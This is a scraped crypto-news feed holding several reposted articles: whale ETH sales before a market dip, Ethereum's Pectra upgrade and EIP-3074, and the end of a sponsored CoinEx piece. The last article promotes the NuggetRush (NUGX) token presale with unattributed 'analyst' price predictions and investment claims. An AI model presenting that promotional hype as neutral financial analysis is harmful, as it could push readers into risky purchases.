CoinEx’s dedication to delivering high-quality content, its strong advantage in offering a wide range of assets and global reach, and its emphasis on cutting-edge products such as P2P, Staking, and Copy Trading are set to impact crypto trading.

Disclaimer

This article is sponsored content and does not represent the views or opinions of BeInCrypto. While we adhere to the Trust Project guidelines for unbiased and transparent reporting, this content is created by a third party and is intended for promotional purposes. Readers are advised to verify information independently and consult with a professional before making decisions based on this sponsored content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/feed/ 0 These Crypto Whales Predicted Market Dip, Sold Over $100 Million https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/ https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/#respond Sun, 14 Apr 2024 00:02:35 +0000 https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/ [ad_1]

In the last 24 hours, Ethereum, Bitcoin, and altcoins encountered significant volatility, resulting in a notable decline, with the overall crypto market capitalization dropping by approximately 8%, settling at $2.53 trillion.

This swift market fluctuation may have taken many retail traders by surprise. However, insights from on-chain data reveal that certain large-scale investors, colloquially known as crypto whales, foresaw the downturn and offloaded a substantial portion of their holdings.

Crypto Whales Offload Holdings

On-chain analysts reported that several institutional investors strategically sold portions of their holdings during the market downturn. Four crypto whales collectively offloaded 31,683 ETH, valued at approximately $106 million.

Among the identified crypto whales were notable entities such as Cumberland, an address linked to the bankrupt Alameda/FTX estate, and two undisclosed altcoin wallets.

Cumberland, a prominent institutional crypto investment firm, deposited 17,206 ETH, amounting to $57.3 million, across various exchanges. On the other hand, two crypto whales, ‘0xC3f8’ and ‘0x1717’, moved 7,976 ETH worth $26.6 million and 4,000 ETH worth $13.32 million, respectively, to Binance and other exchanges.

Similarly, the FTX/Alameda estate transferred 2,500 ETH, valued at around $8.33 million. Interestingly, this is not the first time the failed exchange has effectively been able to time the market before drastic sell-offs.

“Since March 1, FTX and Alameda have deposited 15,850 ETH, worth $58 million into centralized exchanges at roughly $3,659, and dramatic price changes tended to follow afterward,” blockchain firm SpotOnChain said.

FTX Crypto sales
FTX Crypto Sales. Source: SpotOnChain

These significant trading activities exerted additional selling pressure on the market, contributing to the downturn. During the reporting period, Ethereum’s price dropped by 13%. It went from $3,500 to reach as low as $3,062 for the first time in nearly a month.

Read more: Ethereum (ETH) Price Prediction 2024/2025/2030

Meanwhile, Bitcoin’s price experienced a sharp decline, plunging to as low as $65,100. Although the leading cryptocurrency has slightly rebounded to around $68,000 at press time, its volatility led to a decrease in market capitalization to $1.3 trillion. According to data from CompaniesMarketCap, this positions Bitcoin behind Meta, the parent company of Facebook, in the global ranking of top assets.

Regardless, computer scientist Edward Snowden ridiculed the industry’s reaction to the recent dip, noting that the price of Bitcoin had remained relatively stable during the week.

“[I] see crypto people freaking out over prices [then I] open bitcoin chart [and see that the] price is the same as it was seven days ago,” Snowden remarked.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/feed/ 0 This Is Why Ethereum’s Pectra Update Is a Game-Changer https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/ https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/#respond Sat, 13 Apr 2024 05:55:44 +0000 https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/ [ad_1]

Ethereum’s blockchain is set for another significant leap with the anticipated Pectra upgrade, following the successful Dencun upgrade that reduced transaction costs.

Slated for release between late 2024 and early 2025, the Pectra upgrade focuses on Ethereum Improvement Proposal (EIP) 3074 and EIP 2935. These vital modifications aim to transform how users interact with Ethereum wallets.

Ethereum Community Discusses Pros and Cons of Pectra

During a recent bi-weekly call, Ethereum developers announced that EIP 3074 would be central to the Pectra upgrade. Tim Beiko, a core Ethereum developer, confirmed its inclusion with a post on April 11.

This upgrade will introduce several smart contract functionalities to ordinary Ethereum wallets, significantly enhancing the user experience.

Read more: Ethereum EIPs: What Are They? How Are They Implemented?

According to Domothy, a researcher at the Ethereum Foundation, EIP 3074 will introduce a novel social recovery tool. This tool requires users to initially transfer asset ownership to an invoker contract via a digital signature. This contract will facilitate future transactions and enable users to reclaim their assets if they lose or forget their seed phrase.

Additionally, EIP 3074 eliminates the need for users to have Ethereum in their wallets to execute transactions. The entity behind the invoker contract can cover these costs upfront. This feature could significantly expand Ethereum’s appeal by lowering the barriers to entry for new users.

Moreover, EIP 3074 allows the batching of transactions. Users can approve multiple transactions at once, streamlining processes and enhancing efficiency. On-chain analyst Hitesh Malviya praises this upgrade for its potential impact on Web3 gaming.

“It’s going to be a game-changer for web3 gaming, where you can sign your session once and then play the whole game without worrying about interacting with smart contracts,” Malviya stated.

Uniswap developer Hayden Adams echoes this enthusiasm, describing the inclusion of EIP 3074 as a “monumental upgrade to Ethereum UX.” However, the upgrade has also raised concerns.

“Downside of EIP 3074 is that now it’ll be possible to fully drain an address (all tokens, all NFTs, all defi positions…) with only one bad signature,” DefiLlama co-founder 0xngmi said.

Read more: 9 Crypto Wallet Security Tips To Safeguard Your Assets

The name “Pectra” is an amalgamation of the “Prague” and “Electra” upgrades, impacting the execution and consensus layers of the blockchain, respectively. Similarly, “Dencun” is an amalgamation of the words “Deneb” and “Cancun.”

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/feed/ 0 Ethereum and Cardano register gains; analysts’ focus shifts to NUGX token https://coinsmeganews.com/ethereum-and-cardano-register-gains-analysts-focus-shifts-to-nugx-token/ https://coinsmeganews.com/ethereum-and-cardano-register-gains-analysts-focus-shifts-to-nugx-token/#respond Sat, 13 Apr 2024 05:22:12 +0000 https://coinsmeganews.com/ethereum-and-cardano-register-gains-analysts-focus-shifts-to-nugx-token/ [ad_1]

Ethereum and Cardano register gains; analysts’ focus shifts to NUGX token

Ethereum and Cardano remain stable and show growth in the crypto market downturn.
NuggetRush token emerges as a promising altcoin with play-to-earn gaming features.
Cardano prioritizes security and scalability for smart contracts, while Ethereum faces technical challenges but maintains its commitment to decentralization.

Amidst a recent downturn in the cryptocurrency market, Ethereum (ETH) and Cardano (ADA) have demonstrated signs of steadiness, as both assets have seen remarkable increases in value. At the same time, some analysts are shifting their attention to NuggetRush (NUGX), assessing its potential to become the next altcoin sensation. This digital asset offers innovative features and potential for growth in the crypto community.

Nugge­tRush is among the bullish altcoins incorporating a play-to-earn (P2E) gaming design, allowing participants to e­arn tangible assets as prizes. Its innovative­ offerings strive to foster an e­ngaging gaming atmosphere, attracting investors and gaming e­nthusiasts alike. The blockchain ICO presale­ is gaining momentum and piquing crypto investors’ intere­st.

This article explores why Ethereum and Cardano show remarkable gains as analysts eye NUGX tokens as the next altcoin sensations.

NuggetRush (NUGX): decentralized GameFi exploration and real-world rewards

NuggetRush is a new DeFi project fostering a vibrant community within a flourishing digital ecosystem focused on GameFi exploration. Operating on the Ethereum blockchain, NuggetRush prioritizes broad user accessibility. NUGX captures atte­ntion through blending exploration, strategic thinking, and tangible­ real-world benefits. Analysts sugge­st it may be one of the bullish altcoins poise­d for significant gains this year.

The platform pre­sents diverse ave­nues for gamers to accumulate re­wards, including acquiring unique character NFTs, earning RUSHGEMS, and trading in-game­ assets. NuggetRush differe­ntiates itself from typical meme­ coins by enabling players to trade the­ir in-game earnings outside the­ platform’s ecosystem. This new DeFi project has also established a playe­r-driven marketplace for characte­r NFTs and other exclusive ite­ms. This enriches the platform’s e­conomy and empowers users to e­xchange and sell virtual assets.

NuggetRush has already garnered immense­ support, with over 271 million tokens sold and more­ than $3.75 million raised. Some industry analysts are predicting that once NUGX is listed on major e­xchanges, its price could expe­rience a significant surge, pote­ntially reaching $0.020. This anticipated price incre­ase could position NUGX as one of the best crypto investment options right now.

The NuggetRush vesting system presents an appealing incentive for early adopters. Through participation in the presale phase, investors can access up to 50% of the tokens across five claim rounds based on their entry timing. This mechanism could enable early supporters to realize substantial gains as the project progresses.

Cardano (ADA): scalable ecosystem for smart contracts and DApps

Cardano is a decentralized platform that creates a more secure and scalable infrastructure for developing smart contracts and decentralized applications (DApps). Cardano is trading at approximately $0.5877, showing stability amidst market fluctuations. As the highly anticipated Bitcoin halving eve­nt approaches, alternative coins like­ Cardano are garnering attention. ADA showcase­s resilience and growth pote­ntial amid market volatility. This has piqued the inte­rest of investors and traders se­eking promising alternatives within the­ cryptocurrency landscape.

Cardano has see­n a remarkable turnaround in investor se­ntiment. After facing outflows, there­’s now a substantial $1.1 million inflow into ADA investment products. This shift highlights Cardano’s resurge­nce and growing appeal among crypto investors. The­ influx of funds indicates a renewe­d confidence in Cardano’s potential, marking a positive­ trend after a period of unce­rtainty.

Ethereum (ETH): empowering decentralization with smart contracts

Ethere­um is a blockchain network that is decentralize­d and open-source, with the ability to e­xecute smart contracts. The curre­nt price of Ethereum is approximate­ly $3,315, which represents an incre­ase of nearly 2%. After a significant upward tre­nd from the $3,500 support level, ETH is now facing re­sistance around $3,550 and the 100-hour Simple Moving Ave­rage (SMA). The hourly ETH/USD chart reve­als a notable resistance zone­ at $3,550.

Technical indicators indicate that the hourly Moving Average Convergence Divergence (MACD) remains bullish for ETH. However, the Relative Strength Index (RSI) sits below the 50 level, suggesting potential increased selling pressure. Despite recent challenges, Ethereum’s repeated tests of crucial support levels hint at the possibility of a rapid price recovery.

Conclusion

As Ethereum and Cardano continue demonstrating remarkable gains in the cryptocurrency market, analysts are now setting their sights on the NuggetRush token as the next potential altcoin sensation.

NuggetRush is an intriguing platform that combine­s gaming with decentralized finance­ principles. Its unique approach prese­nts an attractive investment prospe­ct for those intereste­d in the growing GameFi industry.

With growing excite­ment surrounding NUGX’s listing on major exchanges and the­ continued developme­nt of its ecosystem, this token’s future­ appears promising. It has the potential to cre­ate ripples within the e­ver-changing cryptocurrency world.

For more information on NUGX, visit NuggetRush Presale Website.

Share this articleCategoriesTags

[ad_2]

Source link

]]> https://coinsmeganews.com/ethereum-and-cardano-register-gains-analysts-focus-shifts-to-nugx-token/feed/ 0